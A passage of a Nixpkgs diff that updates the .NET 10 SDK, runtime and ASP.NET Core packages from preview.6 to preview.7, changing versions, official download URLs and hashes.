+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-8fiTrOmlVMojv2oFxSO4zKP0Mz+3HazxfqBFBbgioN+/dMNiCa6ql3Sm0kp88Qmfcb68PwhWCJLy3x3XHLEUuA==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-bVGv/VP4T598HMR97vrcF8NxOv43rTn4RtH5JSm/Z/I2l6Jf4OsEmrP7ciCJho65xgG2NN7E80dAfv6Waan/DQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-t0G1lpmSy3Bb/0k4riHo+oT2h53IbHHC92oy3Mnxg2Nm/ZBoGDW55/maB5lF+IbEoNsScpAhsFNf7gAv5KPOhw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-OvOg+DllupzQyo2AiWJOWhd3G7sXoROVbGIbaO48l3cXJf+EkT3mwK0WyKNJo1SYDBSHP4PL3CELLyl7KeuBTA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-Xgu9wAHojyPC6/9OhNk4Bpmhmb4FAcJMMb3S7xwwPFuEx7pKSCPOA/3Gv/8xR3w3lYoMhvs94Jn4zzLPw/d46A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-di/eQOCbK7Gckc/GaFEJbeHA8xc1sjPYb4ZgSDQG8s/lSc5EocnPG6YSiPu5noCS/kl4caLJzu8mcNEbHo9fQg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-FDFqh+DYEYnPZjLzODbygevvyrQH15WVg/pcDbiFlE0dsoL7LQ3ST3G6Vz5GfpAZyO0A8O7ekGOH81+wskmeiw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-e4ZDOtOGLbKnCy90C+6+pAtkX/CJlAI3dPV3zF8Dtk4kCG6m+4TnbohG8z+CBaY4Tyh7HRXfCwA0sMhkZIhJ/A==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-npZ0pXzs+1mOb/G8asxE4QYUrrQlvuVjO24sgaqgQ/o8Ir3m1jTxXhETRj7IXKiPiVMIaLPV+c3XtpdDKouH9A==";
       })
     ];
   };
 
 in
 rec {
-  release_10_0 = "10.0.0-preview.6";
+  release_10_0 = "10.0.0-preview.7";
 
   aspnetcore_10_0 = buildAspNetCore {
-    version = "10.0.0-preview.6.25358.103";
+    version = "10.0.0-preview.7.25380.108";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-arm.tar.gz";
-        hash = "sha512-/mrP2TIr27NliznmIGDFdjriPeeSpDDbRyaM++1gNgJk55NQArHO3KgTMog2d5XlnTgkp03lH5lk3FQKgU2RiQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-arm.tar.gz";
+        hash = "sha512-lXwjay3tSsk2fperQsxjo28PeydYBQA552QN/aOCTlpl6/LTB2L8diIqgdGUpJ593riZcUo3vCjbZwjY1bGC7Q==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-arm64.tar.gz";
-        hash = "sha512-iGZ9ZtkKq6MGSfhNENBX2nwNtHnNs2t2gk3I4PAqRKa/XSaddNqg1reDdvLcZrYCOFWCZ1VeLO1Ay9BqrHRdag==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-arm64.tar.gz";
+        hash = "sha512-gTWO1Grf/RpOLglePSPWfR0ommxMUKsg4ecRYbKCPIxE3VpsJBrJs/zUoq9Rjb/7zNt7Os0HpCr5/yTF/WLGow==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-x64.tar.gz";
-        hash = "sha512-FczqQ09eM7SvhyvaANMNP+5ElBE6Hl17HoziBqsKLgk4T6WiI6/d5LlOo7fhK3lsGkUTi+gzKIvWh0GuhD+2yA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-x64.tar.gz";
+        hash = "sha512-9onzhvf6Vrm1O9fVEKvs8rnCI1j7KTZ4RsI/u6ewphpH2G287vlrc6corwduVcNGg4SXQC4M2AuGldncHqPCuQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-arm.tar.gz";
-        hash = "sha512-HArq8wBlBcK/tkjyViWT9iu3pVsAULbMgecK6cwaNcrbv9VGEXBaGwv4SYqqNV0DeEfJ6nqa2j9YVWiLpqYTSQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-arm.tar.gz";
+        hash = "sha512-uJ0bnKWphyzzZ3dKLKUVKkLtht7MGMWTsQSINGPOXPrKamn5F0SaArTSXqQVj4IqNqwNZVxTjBhOR611EYbs2w==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-arm64.tar.gz";
-        hash = "sha512-CH7Qk+rFkx3YjOnIF1Q/rEp/sAcF/+cet1U6/QoVtQfrWmO46FDhT+SI3t17OaCshkmaFU5oSBWpnBIjr1NJ0A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-arm64.tar.gz";
+        hash = "sha512-cAY0HJWlGRCm7gLVgemkHXZGSn777QrXedDmT8DXfEK70jNTf1fXb28P2zh/biVZK6UzYmcKXm7+1ho3TkIc7A==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-x64.tar.gz";
-        hash = "sha512-bU2Jk/BySlwwy7XDR9ovxoct3HUdvGykOI5/umDVFiZhk5g6mErGv+h5tEh4j3e6+1C5mWfe+6QD9E7j/ycx7Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-x64.tar.gz";
+        hash = "sha512-wRf0SCHNbFWna7nr/HRlYG04rInIEO4iSys6D/T1q/Ld27sZVoOeZyrrpPlR3wtax/GTXSqQttTc3cEep8M7UQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-osx-arm64.tar.gz";
-        hash = "sha512-VlWHBJhm7w4JIR0SLJUOPYfzvCL/dA5NVQYY1ppidjuN12bBNcC95Px8zLqmTzMhQrSQ0P1ClOTFjimCB49yBA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-osx-arm64.tar.gz";
+        hash = "sha512-D5iye4E6etLrWkCOe9sf/97fheARsEmF6QCV3ikW2qTDQhSsPPmgZvSbPn7gnVbXP56aGFjHHv+JAMxBRf0yVQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-osx-x64.tar.gz";
-        hash = "sha512-c2tCqqrbhlRIvM/bOO2KlmCELsmPS4Trexq/E6imjPsWbx8dHZt6viROKAC0BwPUsxpQO+o2NZc5oEHjMsZSXQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-osx-x64.tar.gz";
+        hash = "sha512-FQLipaTYahQwhA2TGknRX/07ZEZeV9IdcURItxlpz7zmU4LvgoJg8Wlt1GxAnzwD9riuenLlFWe0RMoQuoreoA==";
       };
     };
   };
 
   runtime_10_0 = buildNetRuntime {
-    version = "10.0.0-preview.6.25358.103";
+    version = "10.0.0-preview.7.25380.108";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-arm.tar.gz";
-        hash = "sha512-dkFn08ZTnl3/nj8Qh+pAs3urJy9+bB3gyGLXak0MNEUnmbRY6fpwMprijsbQfWtiSz9b0KooEubn7I+PavI7hw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-arm.tar.gz";
+        hash = "sha512-oyaRhovGFTGjL6O78RNBZGrFFBasUvaACTxXfTO2ODBqJqCjJ5poaoZUPg8v3MoOegfzYIF5UpRdybRt4pyXCQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-arm64.tar.gz";
-        hash = "sha512-cbydt+UH85l1JsTzkzkUYA+Q8AAxxhc1nzuAtyuBiljcgEpe2zTGt8qx4WVx6FVVRZUNGgcgv/WzGsY3RP204w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-arm64.tar.gz";
+        hash = "sha512-tTAequEUCb2/MZg7xpk39w3RezVe84D0yrMX6SHl1mFiZCzVfRmhT7ug78CadjNcbl8u6ZimDErHYssXJR04QA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-x64.tar.gz";
-        hash = "sha512-f+rKqGVeFFIdtrqaeGByN38GOGTkGMXk9ep5kjop9HJO9u0WB0VFnuAo8ZJ5r6HA/t6atpM3IgiQnu+HM8oDZA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-x64.tar.gz";
+        hash = "sha512-EnSHIJyzxKOUhHzO1aFduMW2bJOGboi0pweJ6iyQtB4pk+ANkZLUupiPM928iaXKL+TxmmEdftitjD4KRpLFAQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-arm.tar.gz";
-        hash = "sha512-XXF9htD5Vt8lgTAnA9TYSNyBQjHnEpOgkOr1axgUYIRUOj1GcOQxDrkPOS4YKtAHycx8wfRRTQ76nfO2XRCD8Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-arm.tar.gz";
+        hash = "sha512-aCCXjXxzep/7Pj9IGsDDAm3FRsH0JzlqgwkCdTiwhu+QEHHiKiCJt3ivXlG8aJpEFCAs79lgkc0zAVtQ9+GtHA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-arm64.tar.gz";
-        hash = "sha512-4mP7M8JBvsvY8vemP5tfQSPBpmfFVEfwOiSc/1SRs4pt+mKEURwPxidFxp8wK0ytnICIwnAJNYLX28p6LsZdCg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-arm64.tar.gz";
+        hash = "sha512-xJAlZHKLkx0jIHojHNSUZCKvqtFQjpGMISfcgjbc/yqVNXQQ4vC61bLYcZxkFMIJLQk4DDrnAVG1kgoyuzOHzw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-x64.tar.gz";
-        hash = "sha512-zf3Ek3pbRF4rjuks2odZedJWiUjdX+fQH4QwW2Mh3KZNZ+1hqYweccbaHu2CLwddC7BBBVGuyw+PPhMThDZ2qA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-x64.tar.gz";
+        hash = "sha512-wCfUh5zikKE4NaJWtYraqu2hdvCYgsej42+w4ik7Qo7/U+YhpHj+xF2SjxeL3VLn9KK03p4C0gSUxLmSXMtkBg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-osx-arm64.tar.gz";
-        hash = "sha512-zXzElKrtYs2r8Sh6CMvDoPKPMRLoluA37YLYRdZThzJ+I0UlvxwESbA+8hhSM9RWL7Wfv9GdXyjaPgpnE3RTdw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-osx-arm64.tar.gz";
+        hash = "sha512-72B+c82XraPNoxoMvqVWzWBAmiYSqUEnJxub+SXhLfhM97MmsLXt3s07rON/1vpwENSHzdxcIyR0Xe2W+LymAA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-osx-x64.tar.gz";
-        hash = "sha512-lm3Eezqhx6qSOzVI2IdkiCNpKwU/CT5PJrhmu/WAmx3W7zi9LC5RpOgPBsXb5K7Q21uuVSrZgmRi+sMOpormFg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-osx-x64.tar.gz";
+        hash = "sha512-4kBn/dR8b/jTCNNnNwK6FD/a3VC0pRca8qq36AYz7uGeZqC2lAvqSq6Yik05EVWjW6eOV3YM3d2lr169M1s9EA==";
       };
     };
   };
 
   sdk_10_0_1xx = buildNetSdk {
-    version = "10.0.100-preview.6.25358.103";
+    version = "10.0.100-preview.7.25380.108";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-arm.tar.gz";
-        hash = "sha512-lYjjTcixBEvdjpzqH9DWtWf+3w3br0iXsVOrmz6TrElXRXgQ+p7NfaTVo22KBbxItnCv0PUtTVbRQPdCoEOCCg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-arm.tar.gz";
+        hash = "sha512-knm/wwbPU/3AJnPGjrwGgYsm+wXukE/zFej/UoqNWLU0KoZkIjOkpnIi9Qe2ARC4IYSSx7l5cb7nj7EKFfiu6A==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-arm64.tar.gz";
-        hash = "sha512-cwFkPqL72yWCUmxtRpnTy2V/bJDjzn8nRq1RwyCoSDwoDToV/C4HJgWyvf52NpBjo4T/Ydef+WRBg+SyHBundA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-arm64.tar.gz";
+        hash = "sha512-qBiJz0LOz2FqdoXKsXUIaUzug+dqlhnGTomvr/TTgmaOpMft/etEU6DBPfzurIZuo9D+BfPfEkY4pMpYtP2nJQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-x64.tar.gz";
-        hash = "sha512-ZivWGncnWokxhq7VsKbmamE9M2V/cQJqJ/dl8RlreOPzoq2ljhs34Prqw5qDd7Pps7zqK3LFsG3V2YSK2Yc/Pw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-x64.tar.gz";
+        hash = "sha512-KNA8LaQR6BYb+jcUjzX/Yi6qI0GtzXKae1I/dKoh6Pf2UBnaENKG1nhY0Z/2AII4C4dDbfm8zicUe0/bIShvsg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-arm.tar.gz";
-        hash = "sha512-9E/Akg2mqGl07lLa7ODP/oyJEZPOmp1ob9k+gXiB7CSLkT5xdF7ldqZb9P3BZQZxivkERM7g9wFPuJZ6k6bMyA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-arm.tar.gz";
+        hash = "sha512-D65/QdZ5g5I0GWMqoc+JW9K+0oaBLcysWLUkrgxrgBuxhVUJ1t9L+EfkxAx5ll31z2BrwH8iV49JzAo+/1dEjQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-arm64.tar.gz";
-        hash = "sha512-xK/vp5j5cN3jplkjwCZItn87VU5Rp94TstKSRoQ3EtCGRcj8IjpAi9N+Df17+HWA0EaM+nQAlexbNbknQG+Lnw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-arm64.tar.gz";
+        hash = "sha512-zIjcxU2QbdIS9MOD3gfTSUfMS2RZJAtfwTqei25dfUgrymc1cXixQZUFfviDx+YOT/2ArvSEyYqXOYf+SZPBow==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-x64.tar.gz";
-        hash = "sha512-LCj610mZoxlInz08MT41eSP+UaQCG+01OZeA8trqlZzehNkYNdHjEMk71LfLaV+xT29lAa0LFmF0L/xYAVNiaQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-x64.tar.gz";
+        hash = "sha512-hcpucoRlWBlxrzWL7dJkDADJ11xJysH6mz3plrQKE+lfNbdXPe+u/r38Z0xHjotXn4GhAwvj8WC2cgsx/f1ooQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-osx-arm64.tar.gz";
-        hash = "sha512-xDIGEqUUEXVSocsTu6RBc72L25UGwTtLmmeumrCziq1+zU5d0dTDIwukn7luzRSyrzQWkp52UcXJkMv3ber7mg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-osx-arm64.tar.gz";
+        hash = "sha512-eI/e7V31AEm8/hNwBZzfp0M5CkLZv1LHRVY+qsRL9UqVSqyjVjZLq2tbEIsbbZ4NbPJ8JT0uYrBkQARmn4GXxw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-osx-x64.tar.gz";
-        hash = "sha512-rWlkOrW5A00BlxcOx+TusNgSzeXwKKHq8X+w8gnOKyUZMrJBKNsMVfBXs+mv9n14vLBFmAiT+B2WlQMjYRpnlQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-osx-x64.tar.gz";
+        hash = "sha512-/Dk0clsJJHMl7hDlaBlhZyKmMPSBS7k8Q7YLLtvTLuI83esARdZACAi4QNBQ7Q3Etbz5WpDeG5MpNrYjVuHqVQ==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/10/deps.json b/pkgs/development/compilers/dotnet/10/deps.json
index 6a0248680962..7e94efd6ed1b 100644
--- a/pkgs/development/compilers/dotnet/10/deps.json
+++ b/pkgs/development/compilers/dotnet/10/deps.json
@@ -1,50 +1,50 @@
 [
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "ac90a9d11e9397e6e3dff022f99459d0666e2d29e899ac06471e860ae5173980",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/10.0.0-preview.6.25302.104/runtime.linux-arm64.microsoft.netcore.ilasm.10.0.0-preview.6.25302.104.nupkg",
-    "version": "10.0.0-preview.6.25302.104"
+    "sha256": "aa14afd80807b2b9f4956b8600d20f7d3516aecf05f55d1ca7d905a329cfe83b",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/10.0.0-preview.7.25322.101/runtime.linux-arm64.microsoft.netcore.ilasm.10.0.0-preview.7.25322.101.nupkg",
+    "version": "10.0.0-preview.7.25322.101"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "c5a904d430cbe6014fea6ace35a339838f598ac2560ab741ecc085a00f37ae49",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/10.0.0-preview.6.25302.104/runtime.linux-arm64.microsoft.netcore.ildasm.10.0.0-preview.6.25302.104.nupkg",
-    "version": "10.0.0-preview.6.25302.104"
+    "sha256": "53c920333f4762f1f79b108726129c1d8c1416ccd76526fe3a9a7ab7a1f93597",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/10.0.0-preview.7.25322.101/runtime.linux-arm64.microsoft.netcore.ildasm.10.0.0-preview.7.25322.101.nupkg",
+    "version": "10.0.0-preview.7.25322.101"
   },
   {
-    "hash": "sha256-Nupnw/U9dxLxWNqETTtxyvJhuuGDPyU+ksmZ+qwSkxk=",
+    "hash": "sha256-KhdfkhtQFehIcwo3koGdmmqSTXZD3jbZUMxj61cX0LA=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/10.0.0-preview.6.25302.104/runtime.linux-x64.microsoft.netcore.ilasm.10.0.0-preview.6.25302.104.nupkg",
-    "version": "10.0.0-preview.6.25302.104"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/10.0.0-preview.7.25322.101/runtime.linux-x64.microsoft.netcore.ilasm.10.0.0-preview.7.25322.101.nupkg",
+    "version": "10.0.0-preview.7.25322.101"
   },
   {
-    "hash": "sha256-QHSni2ad7MQEQoCMRPWTtwmMOTZaDWn/CZbUanLAc2Y=",
+    "hash": "sha256-/R26o0IJCYf6Fa/uxTNpRh4E9Sm5JrUlC6yr7V/sMiw=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/10.0.0-preview.6.25302.104/runtime.linux-x64.microsoft.netcore.ildasm.10.0.0-preview.6.25302.104.nupkg",
-    "version": "10.0.0-preview.6.25302.104"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/10.0.0-preview.7.25322.101/runtime.linux-x64.microsoft.netcore.ildasm.10.0.0-preview.7.25322.101.nupkg",
+    "version": "10.0.0-preview.7.25322.101"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "06130621565ec2be89c86e322af5abc095c4efe0334f8dfc3ea43695c1ed9893",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/10.0.0-preview.6.25302.104/runtime.osx-arm64.microsoft.netcore.ilasm.10.0.0-preview.6.25302.104.nupkg",
-    "version": "10.0.0-preview.6.25302.104"
+    "sha256": "7a685b61f9aa514104e2d43698696a035b701879262bfd9795ef282a506a572e",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/10.0.0-preview.7.25322.101/runtime.osx-arm64.microsoft.netcore.ilasm.10.0.0-preview.7.25322.101.nupkg",
+    "version": "10.0.0-preview.7.25322.101"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "43da2ec6d8351784865e8a18113f2c90211c13966d352765316b5d5c9f4b3cbd",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/10.0.0-preview.6.25302.104/runtime.osx-arm64.microsoft.netcore.ildasm.10.0.0-preview.6.25302.104.nupkg",
-    "version": "10.0.0-preview.6.25302.104"
+    "sha256": "ff8889ae28490cfe2906cf1fb9ea1a299dbe7300e5645d36e1b144ec79ae7374",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/10.0.0-preview.7.25322.101/runtime.osx-arm64.microsoft.netcore.ildasm.10.0.0-preview.7.25322.101.nupkg",
+    "version": "10.0.0-preview.7.25322.101"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "0234d829a2e019b4b3f87b93c068c14cc3d71be6d489a3c8e4c358f9a1609d36",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/10.0.0-preview.6.25302.104/runtime.osx-x64.microsoft.netcore.ilasm.10.0.0-preview.6.25302.104.nupkg",
-    "version": "10.0.0-preview.6.25302.104"
+    "sha256": "3a512f5afee951500f328f2c166eb11d877cc0ce8a176358ecc5bbabe8a14f7a",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/10.0.0-preview.7.25322.101/runtime.osx-x64.microsoft.netcore.ilasm.10.0.0-preview.7.25322.101.nupkg",
+    "version": "10.0.0-preview.7.25322.101"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
